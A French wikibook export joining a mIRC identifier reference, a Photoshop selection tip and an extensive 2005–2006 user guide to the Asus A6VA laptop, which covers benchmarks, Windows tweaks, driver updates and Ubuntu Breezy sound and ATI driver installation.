disponibles : *s indique que ce nom de fenêtre a été spécifié *a active le dialogue *u utilise la fenêtre active en cours comme fenêtre parent titre Le texte de la barre de titre. texte Le texte par défaut placé dans la boite d'édition d'entrée. N, fenêtre, titre, et texte sont des paramètres optionnels. {{Note mIRC|Cet identifieur ne peut pas être utilisé dans un évènement de script. Un moyen le contournant est d'utiliser un /timer pour initier une requête d'entrée après que le script se finisse.}} ==$ip == Retourne votre adresse IP. ==$isalias(nom) == Retourne $true si le nom spécifié est une commande alias qui existe dans vos alias ou scripts. Propriétés : fname , alias *$isalias(join) retourne $true si vous avez un alias pour /join *$isalias(join).fname retourne le nom de fichier dans lequel l'alias existe *$isalias(join).alias retourne la définition de l'alias pour /join ==$isid == Retourne $true si un alias a été appelé comme identifieur, autrement $false. ==$lf == Retourne le caractère linefeed, le même que $chr(10). ==$lock(item/#/N) == Retourne $true ou $false pour les réglages lock sur les items dans le dialogue Lock. Propriétés : send, get, chat, fserve, run, dll, channels Vous pouvez également utiliser $lock(N) où N retourne le Nième salon dans la liste des salons limite ou vous pouvez spécifier un nom de salon au lieu de N. ==$md5(texte|&binvar|nom de fichier,[N]) == Retourne la valeur hachée md5 aux données spécifiées où : N = 0 pour du texte normal (défaut), N = 1 pour &binvar, N = 2 pour nom de fichier. ==$modespl== mIRC supporte MODES du token numérique 005. $modespl retourne le nombre maximum de paramètres permis selon /mode, par exemple si $modespl est égal à 5, vous pouvez utiliser /mode +ooooo pour mettre cinq modes à la fois. ==$network == Retourne le nom du réseau IRC où vous êtes actuellement connecté. {{Note mIRC|Il n'est pas possible d'obtenir cette information si un réseau ne le fournit pas.}} {{Note mIRC|mIRC obtient le nom le nom du réseau IRC où vous êtes sur le numérique 001, par exemple "Welcome to the N Internet Relay Network", où N est le nom du réseau. S'il ne peut pas trouver le nom du réseau (Certains réseaux IRC n'ont pas cette info), il utilise le nom du groupe du serveur s'il est dans votre liste de serveurs IRC. Le nom du réseau est utilisé pour sélectionner le nom de fichier correct dans le dialogue List Channels, par exemple si vous vous connectez à un serveur DALnet, mIRC sélectionnera automatiquement le fichier de la liste des salons appelé dalnet.txt.}} ==$os == Retourne le numéro de version du sytème d'exploitation. La réponse peut être 95, 98, NT, ME, 2K, XP, ou NET. ==$port== Retourne le numéro du port du serveur auquel vous êtes actuellement connecté. ==$prefix== mIRC supporte PREFIX du token numérique 005, et peut gérer un groupe dynamique des préfixes du pseudonyme du salon. $prefix retourne la liste des préfixes du pseudonyme du salon, par exemple op, halfop, voice, etc. qui sont supportés par le serveur. Lorsque non connecté au serveur, mIRC utilise une valeur $prefix par défaut de PREFIX=(ohv)@%+. ==$result == Garde la valeur retournée à la routine appelant par la commande /return. ==$rgb(nom)== Retourne la valeur RGB du nom de la couleur système spécifiée qui peut être l'une des suivantes : face , shadow , hilight , 3dlight , frame , et text . ==$server == Retourne le nom du serveur auquel vous êtes actuellement connecté. Si vous n'êtes pas connecté au serveur, il retourne $null. ==$server(N/adresse)== Retourne l'adresse du Nième serveur dans votre liste de serveurs IRC. Propriétés : desc, port, group, pass *$server(0) retourne le nombre total de serveurs dans la liste des serveurs *$server(2) retourne l'adresse du 2ème serveur *$server(2).desc retourne la description du 2ème serveur *$server(3).port retourne le(s) port(s) du 3ème serveur *$server(3).pass retourne le mot de passe du 3ème serveur *$server(2).group retourne le nom de réseau du 2ème serveur Si vous spécifiez une adresse de serveur IRC et qu'elle est dans votre liste des serveurs, il retourne l'info associée. ==$serverip == Retourne l'adresse du serveur IP. ==$show== Retourne $false si une commande est préfixée d'un . (point) pour la rendre silencieuse, autrement retourne $true. ==$sreq == Retourne les réglages actuels /sreq dans le dialogue DCC Options send section. ==$status== Retourne le statut de connexion du serveur. {{Note mIRC|Cela retourne closing pendant l'évènement on DISCONNECT si la fenêtre statut en cours de fermeture est la cause de déconnexion.}} ==$titlebar== Retourne le texte dans une barre de titre de mIRC, réglé par la commande /titlebar. ==$url == Retourne l'URL actuellement active dans votre navigateur internet. ==$url(N)== Retourne la Nième adresse dans votre liste URL. Propriétés : desc, group *$url(0) retourne le nombre total d'items dans la liste URL *$url(2) retourne l'adresse du 2ème item dans la liste *$url(2).desc retourne la description du 2ème item dans la liste *$url(3).group retourne le groupe du 3ème item dans la liste ==$usermode == Retourne votre mode utilisateur actuel sur le serveur IRC. ==$version== Retourne la version de mIRC qui est utilisé. Image:Photoshop – opérations entre sélections.png 5834 25067 2005-11-06T15:04:34Z Inisheer 631 {{screenshot}} {{screenshot}} Adobe Photoshop – Transformation d'une sélection 5835 25073 2005-11-06T15:59:38Z Inisheer 631 {{photoshop}} ==Déplacer une sélection== À l'aide de n'importe quel outil de sélection, cliquez à l'intérieur d'une sélection – le curseur prend l'aspect d'une flèche flanquée d'un rectangle en pointillés – et glissez vers l'emplacement désiré. Il s'agit ici de déplacer uniquement le contour d'une sélection, pas son contenu. ===Forcer l'axe de déplacement=== Pour déplacer la sélection uniquement sur un axe horizontal ou vertical, pressez la touche Maj pendant le déplacement. ===Déplacement au clavier=== Il est possible de déplacer une sélection au clavier, à l'aide des quatre touches directionnelles. Par défaut, le déplacement est de un pixel à chaque pression et passe à 10 pixels en pressant simultanément la touche Maj. Tout sur le portable Asus A6VA 5838 46525 2006-06-29T18:04:46Z 81.220.122.107 /* Installation simplifiée des drivers ATI pour une debian (xfree ou xorg) */ [[Image:Asus_a6va5.jpg|right|thumbnail|300px]] La gamme d'ordinateurs portable Asus A6VA, sortie en France à partir d'août 2005, est à usage multimédia et plus particulièrement destinée aux joueurs avec l'intégration d'une carte graphique dernier cri (à sa sortie). Portables de milieu de gamme, ils intègrent la plupart des technologies les plus en vogue de l'époque, à l'exception du bluetooth. Cependant la présence d'une webcam intégrée et placée au-dessus de l'écran les différencie de la concurrence. Les différents modèles de la gamme sont : A6VA-B028H, A6VA-Q038H, A6VA-Q052H, Z92VA-Q048H et Z92VA-Q041H. Ils se distinguent par la brillance ou non de l'écran (technologie Color Shine), la taille de la RAM et la fréquence du processeur. ==Caractéristiques techniques== *[[w:Asus_A6VA|La description complète des composants matériels et logiciels des A6VA]] est disponible sur Wikipédia. *Présentation officielle sur le site d'Asus : [http://france.asus.com/catalogue/catalogue.pdf catalogue Asus 2005] Voir page 5. ===Benchmarks=== Ici les benchmarks sur les différents modèles de la gamme A6VA. En général les tests sont réalisés avec la mise à jour du bios «HyperMemory». {| border="1" |+ Benchmarks 3DMark ! bgcolor=#934D57 | modèle ! bgcolor=#7381AE colspan="3" | B028H ! bgcolor=#3F59AE colspan="4" | Q052H_1024 ! bgcolor=#1538AC colspan="6" | Q038H |----- ! bgcolor=#BC6470 | propriétaire | bgcolor=#95A3D0 align="center" | antho333 | bgcolor=#95A3D0 colspan="2" align="center" | Arbalest | bgcolor=#697FC7 align="center" | samtssl | bgcolor=#697FC7 align="center" | madmaxagor | bgcolor=#697FC7 align="center" | Shooker | bgcolor=#697FC7 align="center" | Algury | bgcolor=#4D6BCB align="center" | DemDal | bgcolor=#4D6BCB align="center" | nunurs mega power | bgcolor=#4D6BCB align="center" | poinoute | bgcolor=#4D6BCB colspan="3" align="center" | lab34 |----- ! bgcolor=#E07988 | particularités | bgcolor=#C3CBE4 align="center" | - | bgcolor=#C3CBE4 align="center" | Catalyst 6.14, 2*256Mo | bgcolor=#C3CBE4 align="center" | Catalyst 6.14, 256 + 1024Mo | bgcolor=#AEBAE3 align="center" | - | bgcolor=#AEBAE3 align="center" | 2 barrettes de 512Mo G.Skill | bgcolor=#AEBAE3 align="center" | - | bgcolor=#AEBAE3 align="center" | - | bgcolor=#A0B1E9 align="center" | Catalyst 6.14 | bgcolor=#A0B1E9 align="center" | - | bgcolor=#A0B1E9 align="center" | tout d'origine, pilotes aussi | bgcolor=#A0B1E9 align="center" | pilotes d'origine | bgcolor=#A0B1E9 align="center" | Catalyst 5.13 | bgcolor=#A0B1E9 align="center" | Catalyst 6.2 |----- ! bgcolor=#FC8495 align="center" | 2001 | align="center" | - | align="center" | - | align="center" | - | align="center" | - | align="center" | - | align="center" | - | align="center" | 15893 | align="center" | - | align="center" | 16406 | align="center" | 15124 | align="center" | - | align="center" | - | align="center" | - |----- ! bgcolor=#FB556C align="center" | 2003 | align="center" | - | align="center" | 5791 | align="center" | 5817 | align="center" | 6100 | align="center" | - | align="center" | - | align="center" | 6069 | align="center" | 6096 | align="center" | - | align="center" | 5644 | align="center" | - | align="center" | - | align="center" | - |---- ! bgcolor=#FB2D4A align="center" | 2005 | align="center" | 2600 | align="center" | - | align="center" | - | align="center" | - | align="center" | 2905 | align="center" | 2639 | align="center" | 2671 | align="center" | 2701 | align="center" | - | align="center" | 2491 | align="center" | 2438 | align="center" | 2708 | align="center" | 2723 |---- ! bgcolor=#FF0226 align="center" | 2006 | align="center" | - | align="center" | - | align="center" | - | align="center" | - | align="center" | - | align="center" | - | align="center" | - | align="center" | 670 | align="center" | - | align="center" | - | align="center" | - | align="center" | - | align="center" | - |} ==Astuces== ====Gestion de l'énergie (batterie, chaleur)==== Utiliser [http://www.pbus-167.com/chc.htm Notebook HardWare Control (NHC) ] anciennement CHC. *régler la fréquence du CPU avec le mode 'dynamic switching' => économie de la batterie *sous-volter le processeur et ce pour chaque coefficient multiplicateur => dissipation de chaleur moindre Pour cela vous pouvez utiliser les voltages suivant (Asus A6VA Q038H 1,86GHz) : 133 x6 - 0.700v 133 x8 - 0.764v 133 x9 - 0.812v 133 x10 - 0.860v 133 x11 - 0.908v 133 x12 - 0.940v 133 x13 - 0.988v 133 x14 - 1.052v (Utilisé quotidiennement pendant 6 mois, et testé avec Super Pi) ====Raccourcis claviers==== *Fn+1 Mes documents, Fn+2 Propriétés d'affichage, Fn+3 Notepad, Fn+4 Calculatrice, Fn+5 Paint *Fn+F1 Mise en veille, Fn+F2 Switch Wireless, Fn+F5 Brightness -, Fn+F6 Brightness +, Fn+F7 LCD on/off *Fn+F8 Switch affichage LCD/CRT/TV, Fn+F10 Volume on/off, Fn+F11 Volume-, Fn+F12 Volume+ ====ASUS ChkMail et Thunderbird==== L'utilitaire chkMail fourni en standard sur le portable permet d'allumer une LED sur le PC lorsqu'un mail est arrivé. Toutefois il n'est compatible qu'avec Outlook. Pour le faire fonctionner avec Thunderbird, 2 possibilités : * supprimer Asus ChkMail du menu de démarrage et lancer ce [http://www.highlandsun.com/hyc/chkmail.zip programme] à la place ; * utiliser cet autre [http://lpm-soft.nm.ru/soft/led15.rar programme]. Autre remplacement pour chkmail : [http://www.behringer24.de/ledbirdxp/ lebirdxp] Celui ci marche trés bien avec Thunderbird et msn messenger. ====Personnaliser les touches multimédia==== [http://power4gear.bk-kicks.com/hcontrol.htm HControl] vous permet de contrôler Winamp (2 et 5), Foobar2k, iTunes, PowerDVD ou WMP avec les boutons multimédias. On peut ainsi contrôler l'ouverture et la fermeture du lecteur multimédia sélectionné, la lecture/pause ainsi que le parcours des playlists du lecteur en cours. On peut par exemple contrôler le lecteur tout en jouant.<br> '''Attention''', ce HControl ne supporte plus le raccourci Fn+F2 pour activer ou désactiver le Wifi (car il n'est pas développé sur A6VA). *Pour ce faire, téléchargez le nouveau [http://power4gear.bk-kicks.com/hcontrol.htm HControl] (en bas de la page) ainsi que la dernière version de l'utilitaire [http://dlsvr02.asus.com/pub/ASUS/nb/A6V/ATK_XP_2K_051108.zip ATK] de ASUS. * Dézippez [http://dlsvr02.asus.com/pub/ASUS/nb/A6V/ATK_XP_2K_051108.zip ATK_XP_2K_051108.zip] et lancez 2KSetup.exe * Effectuez l'installation * Redémarrez le PC * Faites Ctrl+Alt+Suppr et terminez le processus HControl.exe * Allez dans C:\WINDOWS\ATK0100 * Renommez HControl.exe en HControl_backup.exe (ou ce que vous voulez, de toute façon ce fichier ne nous servira plus) * Dézippez [http://power4gear.bk-kicks.com/hcontrol.htm le fichier que vous avez téléchargé] * Vous avez trois fichiers * Clic-droit sur le fichier HControl.reg * Modifier * Le fichier devrait se présenter ainsi : <blockquote style="background: white; border: 1px solid black; padding: 1em;"> Windows Registry Editor Version 5.00<br> [HKEY_LOCAL_MACHINE\SOFTWARE\ASUS\HControl]<br> [HKEY_LOCAL_MACHINE\SOFTWARE\ASUS\HControl\Custom] @="C:\\Program Files\\Klient\\klient.exe"<br> [HKEY_LOCAL_MACHINE\SOFTWARE\ASUS\HControl\MediaPlayer] @="<font color="red">C:\\Program Files\\Winamp295\\winamp.exe</font>" <font color="blue">Mettez le chemin du lecteur dont vous voulez contrôler l'ouverture et la fermeture, pensez bien aux doubles antislashs</font> <br> [HKEY_LOCAL_MACHINE\SOFTWARE\ASUS\HControl\P4G-button] @="C:\\WINDOWS\\system32\\taskmgr.exe" <br> [HKEY_LOCAL_MACHINE\SOFTWARE\ASUS\HControl\TPad-button] @="C:\\Program Files\\FlashFXP\\flashfxp.exe" <br> [HKEY_LOCAL_MACHINE\SOFTWARE\ASUS\HControl\WLAN-button] @="control ncpa.cpl" </blockquote> * Enregistrez les modifications * Faites un backup de votre registre si vous voulez * Double-clic sur le fichier HControl.reg pour effectuer les modifications * Enfin copiez le fichier HControl.exe, collez-le dans C:\Windows\ATK0100 * Lancez HControl.exe Petit ajout à propos d'HControl : Suite à l'installation du dernier driver pour le wifi (http://www.touslesdrivers.com/index.php?v_page=23&v_code=11458), j'ai remarqué qu'un processus (s24evMon) lancé par le driver était incompatible avec le lancement d'HControl. Cependant, ces drivers sont intéressants car ils améliorent de beaucoup la qualité de la connexion wifi avec le chip Intel Pro Wireless 2200. La solution est de ne plus utiliser l'utilitaire d'Intel pour la gestion du sans fil. Pour cela, lancer le dit-utilitaire ; aller dans ses options (avancées) et choisir d'utiliser le client Microsoft pour la gestion du wifi. Ensuite, faire un Exécuter par le menu Démarrer et taper "msconfig". Dans la fenêtre qui s'ouvre, aller dans la gestion et désactiver le lancement du service Intel Wireless puis dans l'onglet suivant (programmes au démarrage), décocher tout ce qui concerne "Intel Wireless". Puis redémarrer. Cette manip m'a permis d'utiliser le nouveau driver, en bénéficiant de sa stabilité tout en conservant le bon fonctionnement d'HControl. Je le précise car c'est un problème que j'ai vu sur certains forums où les forumeurs préconisaient de reprendre la version 9.0.3 pour passer outre ; mais je trouve que la qualité de la connexion obtenue avec les drivers 9.0.3 est moins bonne :| ====Uniformiser la Dalle==== Télécharger [http://www.guru3d.com/article/atitraytools/189/ ATI Tray Tools] et aller dans "Color" pour régler les gammas luminosité et contraste. Mettre les valeurs suivantes : *All = Brightness : -1 / Contrast : 4 / Gamma : 0,92 *Red = idem *Green = B : -1 / C : 6 / G : 0,92 *Blue = B : -1 / C : 6 / G : 0,88 Ne pas oublier de cocher l'option 'load at windows start'. ====Autres==== *[http://power4gear.bk-kicks.com/p4g.htm Power4Gear+] apporte une interface graphique plus moderne à Power4Gear. *[http://www.fxsound.com/ Logiciel DFX] améliore le rendu sonore des hauts-parleurs. ==Mise à jour, optimisation== ====Mettre à jour la carte graphique==== Il existe deux drivers différents pour la carte graphique qui équipe l'A6VA. Généralement on utilise les drivers officiels moddés. =====Drivers officiels pour la X700 mobility===== [http://www.ati.com/online/mobilecatalyst/ lien direct pour le telechargement du driver] =====Modder les drivers officiels===== *Télécharger [http://www.driverheaven.net/patje/ DHModtool] et les derniers drivers [http://www.touslesdrivers.com/index.php?v_page=3&v_code=1964 CATALYST]. *Désinstaller "proprement" les anciens. *Faire une installation des drivers Catalyst mais il va y avoir une erreur, ce n'est pas grave. *Ouvrir DHModtool, selectionner le répertoire où les fichiers ont été décompressés, sélectionner la carte graphique puis lancer "StartMod". Chez moi il me demande si je veux installer tout de suite les drivers, et si je fais "oui", je n'ai pas les onglets ATI dans les paramètres d'affichage donc il faut faire "non" puis aller dans le dossier ATI dans C:... et relancer l'installation. =====Utiliser les drivers Omega (drivers censés être optimisés)===== *Télécharger et installer [http://www.omegadrivers.net/ les drivers Omega] '''A ne pas faire''' : installer ATI Tray Tools et ATI Control Panel. Ils ne s'entendent pas très bien et l'ensemble conduit à des freezes. ====Mettre à jour le Bios==== Une mise à jour du bios vous permet d'ajouter 128 Mo de mémoire à la carte graphique, prélevées sur la mémoire vive de l'ordinateur. La mise à jour est disponible sur le site d'[http://www.asus.fr Asus france] (la mise à jour d'octobre 2005 : hypermemory) ainsi que là [http://support.asus.com/technicaldocuments/technicaldocuments.aspx?no=195&SLanguage=fr-fr marche à suivre] pour l'installer. Note (février 2006) : je viens de recevoir un modèle A6VA Q38H et il semble que le BIOS installé soit plus récent que la mise à jour indiquée d'octobre 2005. De plus, la carte graphique est déjà configurée en 256 Mo en Hypermemory. ====Mettre à jour le WiFi==== La carte qui équipe l'A6VA est "Intel® PRO/Wireless 2200BG Network Connection". Page des pilotes : http://support.intel.com/support/wireless/wlan/sb/CS-010623.htm Le fichier pèse près de 45Mo ! '''Attention''', les derniers pilotes (version 10) font planter HControl et le portable sera plus lourd. Préférez la version 9. Il faut savoir qu'installer le logiciel IntelProSet Wireless vous occupe 30Mo en RAM et 10 processus, même si vous ne l'utilisez pas. Vous pouvez vous passer du logiciel d'Intel en utilisant celui de Windows. Pour activer le WiFi, servez-vous alors de Wireless Console mais la led WiFi ne sera pas gérée. Ce petit [http://joannadark.free.fr/downloads/a6va/WiFi.exe programme] (200Ko) vous permet d'activer et de désactiver le WiFi tout en bénéficiant de la led WiFi et [http://joannadark.free.fr/downloads/a6va/EtatWifi.exe celui-ci] (1Ko) rafraichît l'état de la led WiFi au démarrage de Windows. ====Activer la barre de défilement du touchpad dans Firefox==== Pour que la barre de défilement virtuelle (celle du touchpad) fonctionne sous Firefox, il faut mettre à jour les pilotes Synaptics : *page des drivers : http://www.synaptics.com/support/drive.cfm *lien direct vers les drivers pour Win2000/XP : http://www.synaptics.com/decaf/drivers/WinNT5_8_1_2.zip ==Résolution de problèmes== *[http://forum.hardware.fr/hardwarefr/MiniPCPortablesPDA/Topic-unique-Asus-A6VA-sujet-22908-1.htm Forum utilisateur Asus A6VA] *[http://www.frenchcancan.net/asus Forums des utilisateurs de portables ASUS] - Drivers - Avis utilisateurs - Series A et W ====Ventilateur bruyant ?==== Essayez le mode ''Game'' de Power4Gear ou NHC. ====Restaurer la configuration usine==== La restauration peut s'effectuer de 2 manières : *utiliser les 2 CD de restauration Windows XP SP2 et le CD de pilotes fournis *presser [F9] au démarrage (le disque dur dispose d'une partition de récupération, sauf si vous avez déjà tout reformaté) Il y a 3 modes possibles de restauration : *restaurer XP sur la 1ère partition : cette option ne supprime que la 1ère partition (C:), vous autorisant à conserver les autres partitions (les données sur D: et suivants sont conservées) *tout effacer et restaurer la configuration sur une unique partition C: *tout effacer et restaurer la configuration d'origine sur 2 partitions C: (60 Go) et D: (40 Go) ====Son==== Ecouter un CD portable éteint : Appuyer sur le bouton à l'extrême gauche (lancement de audioDJ) puis insérer le CD désiré et ensuite appuyer sur "play" à l'extreme droite. =====Son sous Windows===== * Dans le gestionnaire de periphériques, trouver le PCI Device qui cause problème, faire un clic droit et mettre à jour le pilote (CD de drivers). Ensuite réinstaller le pilote à partir du même CD normalement. * Pilote : carte assimilée Realtek ALC 880 Il arrive parfois que la carte son installée soit une Intel (82801fbm ich6-m HD audio controler) alors que celle-ci n'est pas annoncée par le fabriquant. =====Son sous Linux===== *la commande <code>lspci | grep -i audio</code> affiche : ::<code>00:1b.0 Class 0403: Intel Corp. 82801FB/FBM/FR/FW/FRW (ICH6 Family) High Definition Audio Controller (rev 04) </code> * Vous devez avoir un noyau de version supérieure ou égale à 2.6.13. ::Contrôle de la version avec <code>uname -a</code> ::Téléchargement de noyau (ex: kernel 2.6.14) sur http://www.kernel.org * Vous devez avoir installé les derniers drivers RealTek (votre carte est assimilé ALC880) ::Téléchargement de realtek-linux-audiopack-3.5.1.tar.bz2 sur [http://www.realtek.com.tw/downloads/dlhd-2.aspx?lineid=2004052&famid=2004052&series=2004061&Software=True www.realtek.com.tw] ====Perte de connexion réseau==== Si WinXP indique "câble réseau débranché" alors qu'il est connecté, c'est un problème suite à l'installation de Mandriva 2006.0 . Cela se produit lorsqu'on est sous Mandriva et que l'on redémarre sous XP. Une solution consiste à éteindre complètement l'ordinateur, puis redémarrer pour avoir la connexion sous XP. Le nouveau driver version 8.49.2.3 chez Marvell corrige ce problème http://www.marvell.com/drivers/upload/yk51x86_v84923.zip ====Température élevée==== * Sur secteur, une température normale est comprise entre 45 et 55°C pour une utilisation bureautique/internet. Le ventilateur tourne alors à faible vitesse. * Sur secteur, pour un jeu sollicitant fortement la carte graphique, la température peut atteindre 80°C. * Sur batterie, la température est inférieure quel que soit l'usage. ====Mise en veille prolongée==== Il arrive que lors du retour de veille prolongée sous XP, le portable freeze. La carte réseau est en cause. Pour résoudre ce problème, il faut aller dans le gestionnaire de périphériques, carte réseau, Marvell Yukon, propriétés, gestion de l'alimentation et désactiver l'option "autoriser l'ordinateur à éteindre ce périphérique pour économiser l'énergie". ====Réglages du micro intégré==== Si vous rencontrez des difficultés a faire fonctionner le micro intégré au portable, quelques verifications au niveau de la configuration pourront peut-être vous aider. * Dans '''le gestionnaire Realtek''' de la carte son (accessible via l'icône dans la barre des taches si elle y est encore, sinon via le panneau de configuration Windows) :: - '''onglet mixeur''' : dans la section "enregistrer" '''realtek HD audio input''' doit etre selectionné. :: - Toujours dans la meme section "'''volume micro'''" doit etre selectionné (le petit bouton juste en dessous du volume micro, qui sera mis en surbrillance après sélection) :: - A côté du bouton mis en surbrillance, il y a une petite icône qui vous permettra d'entrer dans les paramètres avancés >> cochez "amplifier le son" :: - Pour le volume micro n'oubliez pas de le régler et de ne pas le mettre sur mini :: - Dans l'onglet '''microphone''', vous pouvez sélectionner le '''suppresseur de bruit et l'anti écho''' <gallery> Image:Screenshot_AsusA6va_realtek1.jpg Image:AsusA6va realtek2.jpg </gallery> * Maintenant allez dans le "'''contrôle du volume'''" accessible via démarrer/programmes/accessoires/divertissement :: - Dans la fenêtre vous devez avoir une '''section "volume micro"'''; Si celle-ci n'est pas présente, onglet options/propriétés : dans le périphérique mélangeur choisissez '''"realtek HD audio output"''' et '''cochez''' volume micro qui devrait etre apparu. :: - Retournez à la fenêtre principale, la section volume micro sera présente. :: - Ajustez le volume comme précédemment (à noter que les volumes micro du gestionnaire Realtek et Microsoft sont indépendants). :: - Cochez la case "'''muet'''" dans le gestionnaire de volume de Windows, pour éviter l'effet Larsen lorsqu'on referme le portable alors qu'il est sous tension (les enceintes sont alors très proches du micro). Ca supprime cet effet et n'handicape pas le moins du monde les conversations sous Msn ou Bestofchat (un chat gratuit avec caméra et micro). <gallery> Image:AsusA6va controlleur de volume.jpg Image:AsusA6va configuration micro msn.jpg </gallery> Le micro devrait être maintenant correctement configuré >> Pour vérifier que le micro marche, passez par un logiciel du type Msn ou Netmeeting qui possède des jauges lors de la configuration du micro, vous permettant ainsi de constater si le micro marche (voir screenshot ci-dessus). En espérant que cela ait pu vous aider. ====SAV==== Le portable est garanti 2 ans, il est alors probable que l'on ait affaire au SAV d'Asus. Ici les expériences des utilisateurs de l'A6VA avec le SAV (transport du portable, délais, conseils à propos des données, des sessions Windows). ==Installer Ubuntu GNU/Linux en dual Boot== *Récupérez l'image ISO d'[http://se.releases.ubuntu.com/5.10/ubuntu-5.10-install-i386.iso Ubuntu Breezy] et la graver. *Insérez le CD-ROM dans le lecteur. *Avant de commencer l'installation il faut savoir que le chipset son ALC880 ne sera pas reconnu, et bloquera le boot à l'étape : hotplug subsystem. ::Pour remédier à ce problème : rentrer dans le BIOS ==> Security ==> I/O interface ==> AUDIO/MODEM : LOCKED ::Ensuite BOOT : mettez le lecteur DVD-ROM comme premier peripherique de boot. ::Et enfin EXIT ==> Save and Reboot *Au reboot vous voilà dans l'installation d'Ubuntu, suivez les instructions. *...La suite bientôt Sinon il y a aussi : *[http://gentoo-wiki.com/HARDWARE_Asus_A6V%28A%29 installation de Gentoo GNU/Linux] *[http://jeriko.l-tech.org/installation-debian/ installation de Debian Sarge GNU/Linux] ====Résolution des problèmes de son et image==== =====L'image===== *Une fois Ubuntu installé, vous arriverez à un écran noir : le problème vient de la carte graphique. Donc pour corriger ça, faites Ctrl+Alt+F2 et tapez : $ sudo nano -w /etc/X11/xorg.conf #Lance l'éditeur nano ::Cherchez la ligne "Device"/Identifier "ATI Technologies, Inc. Radeon Mobility X700 (RV 410)" ::Sous la ligne Driver "ati", ajoutez les lignes : $ Option "BusType" "PCIE" $ Option "MonitorLayout" "LVDS, NONE" ::Rebootez (''sudo reboot'') ::Logiquement, vous devriez arriver sur la fenêtre de connection. Profitez-en pour vous loguer. =====Le son===== *Maintenant que l'image fonctionne, on va s'occuper du son. Tout ce qui suit se fera dans un terminal. *On va blacklister le chip son : $ sudo nano -w /etc/hotplug/blacklist # Rajoutez ''snd-hda-intel'' tout à la fin # Quittez (Ctrl+X, O pour dire oui, et ENTRE pour valider le nom du fichier) *Rebootez (''sudo reboot'') et dans le BIOS remettez AUDIO/MODEM sur UNLOCKED *Ensuite une foi revenu dans le terminal faites un ''sudo apt-get install linux-source-2.6.12'' *Ensuite un ''uname -r'' pour savoir quel kernel vous avez. ::Si vous n'avez rien changé vous devriez avoir : ''2.6.12-10-386'' ::Sinon si vous avez changé le kernel, vous avez surment : ''2.6.12-10-686'' *Selon le kernel faites : #Kernel 2.6.12-10-386 : $sudo apt-get install linux-headers-386 #Kernel 2.6.12-10-686 : $sudo apt-get install linux-headers-686 *Si vous venez juste d'installer Ubuntu, il faut installer quelques outils. Tapez alors dans un terminal : $ sudo apt-get install gcc-3.4 g++ build-essential ::Ces outils vous permettront de compiler les installations des drivers. *Maintenant nous allons créer le repertoire où nous allons travailler. *Faites un ''mkdir ~/alsa'' *Telechargez les fichiers suivant dans le repertoire ~/alsa : ::[ftp://ftp.alsa-project.org/pub/driver/alsa-driver-1.0.10.tar.bz2 Alsa-Driver 1.0.10] ::[ftp://ftp.alsa-project.org/pub/lib/alsa-lib-1.0.10.tar.bz2 Alsa-Lib 1.0.10] ::[http://ftp.us.debian.org/debian/pool/main/a/alsa-utils/alsa-utils_1.0.10-1_i386.deb Alsa-Utils 1.0.10] ::[http://ftp.us.debian.org/debian/pool/main/a/alsa-oss/alsa-oss_1.0.10-1_i386.deb Alsa-OSS 1.0.10] ::[http://ftp.us.debian.org/debian/pool/main/a/alsa-lib/libasound2_1.0.10-2_i386.deb Libasound2 1.0.10] ::[http://ftp.us.debian.org/debian/pool/main/l/lsb/lsb-base_3.1-3_all.deb Lsb-base 3.1-3] *Avec wget (dans un terminal) celà donne : $ cd ~/alsa $ wget ftp://ftp.alsa-project.org/pub/driver/alsa-driver-1.0.10.tar.bz2 $ wget ftp://ftp.alsa-project.org/pub/lib/alsa-lib-1.0.10.tar.bz2 $ wget http://ftp.us.debian.org/debian/pool/main/a/alsa-utils/alsa-utils_1.0.10-1_i386.deb $ wget http://ftp.us.debian.org/debian/pool/main/a/alsa-oss/alsa-oss_1.0.10-1_i386.deb $ wget http://ftp.us.debian.org/debian/pool/main/a/alsa-lib/libasound2_1.0.10-2_i386.deb $ wget http://ftp.us.debian.org/debian/pool/main/l/lsb/lsb-base_3.1-3_all.deb * Toujours dans le répertoire ~/alsa faites : $ sudo tar -xvf alsa-driver-1.0.10.tar.bz2 $ sudo tar -xvf alsa-lib-1.0.10.tar.bz2 $ cd ~/alsa/alsa-driver-1.0.10/ # Dans la ligne suivante, remplacez -10-386 par -10-686 si vous avez un kernel 2.6.12-10-686 : $ sudo ./configure --with-oss=yes --with-cards=hda-intel --with-kernel=/usr/src/linux-headers-2.6.12-10-386/ $ sudo make $ sudo make install $ cd ~/alsa/alsa-lib-1.0.10/ $ sudo ./configure $ sudo make $ sudo make install $ cd ~/alsa/ $ sudo dpkg -i alsa-oss_1.0.10-1_i386.deb $ sudo dpkg -i libasound2_1.0.10-2_i386.deb $ sudo dpkg -i lsb-base_3.1-3_all.deb $ sudo dpkg -i alsa-utils_1.0.10-1_i386.deb # Pour finir tapez $ sudo alsaconf # Choisissez le chipset Intel et repondez aux prochaines questions. *Enfin réeditez la blacklist : $ sudo nano -w /etc/hotplug/blacklist #Enlevez ''snd-hda-intel'' *Un dernier reboot et voilà, votre système est enfin opérationnel ! ====Installation des Drivers ATI sur Ubuntu Breezy==== *On va mettre à jour notre /etc/apt/sources.list pour récuperer certains paquets ::Dans un terminal, faites un ''sudo gedit /etc/apt/sources.list'' et rajoutez à la fin : ## Ajout des dépot universe et multiverse deb http://fr.archive.ubuntu.com/ubuntu/ breezy universe multiverse deb-src http://fr.archive.ubuntu.com/ubuntu/ breezy universe multiverse *Maintenant desinstallons les drivers ATI inclus dans Breezy : $ sudo apt-get remove xorg-driver-fglrx $ sudo apt-get remove fglrx-control $ sudo apt-get remove linux-restricted-modules-$(uname -r) # On reboot $ sudo reboot *Telechargez [https://support.ati.com/ics/support/default.asp?deptID=894&task=knowledge&folderID=27 les drivers ATI] *Dans les étapes suivantes vous pourriez obtenir quelques erreurs concernant des dépendances pendant le processus de dpkg. Vous pouvez les ignorer puisqu'elles devraient être résolues quand vous lancerez l'étape de mise à niveau. $ sudo apt-get install gcc-3.4 module-assistant build-essential fakeroot dh-make debconf $ sudo sh ./ati-driver-installer-8.21.7-i386.run --buildpkg Ubuntu/breezy $ sudo dpkg -i fglrx-control_8.21.7-1_i386.deb $ sudo dpkg -i fglrx-kernel-source_8.21.7-1_i386.deb $ sudo dpkg -i xorg-driver-fglrx_8.21.7-1_i386.deb $ sudo apt-get -f upgrade *Ensuite : $ sudo module-assistant prepare $ sudo module-assistant update $ sudo module-assistant a-i fglrx ::Il se peut que vous ayez un message citant alsa et le kernel... Ca n'a pas l'air d'empêcher le fonctionnement du son, donc pas d'inquiétudes. *Et enfin : $ sudo aticonfig --initial *On reboot et on fait quelques test : ::fglrxinfo : display: :0.0 screen: 0 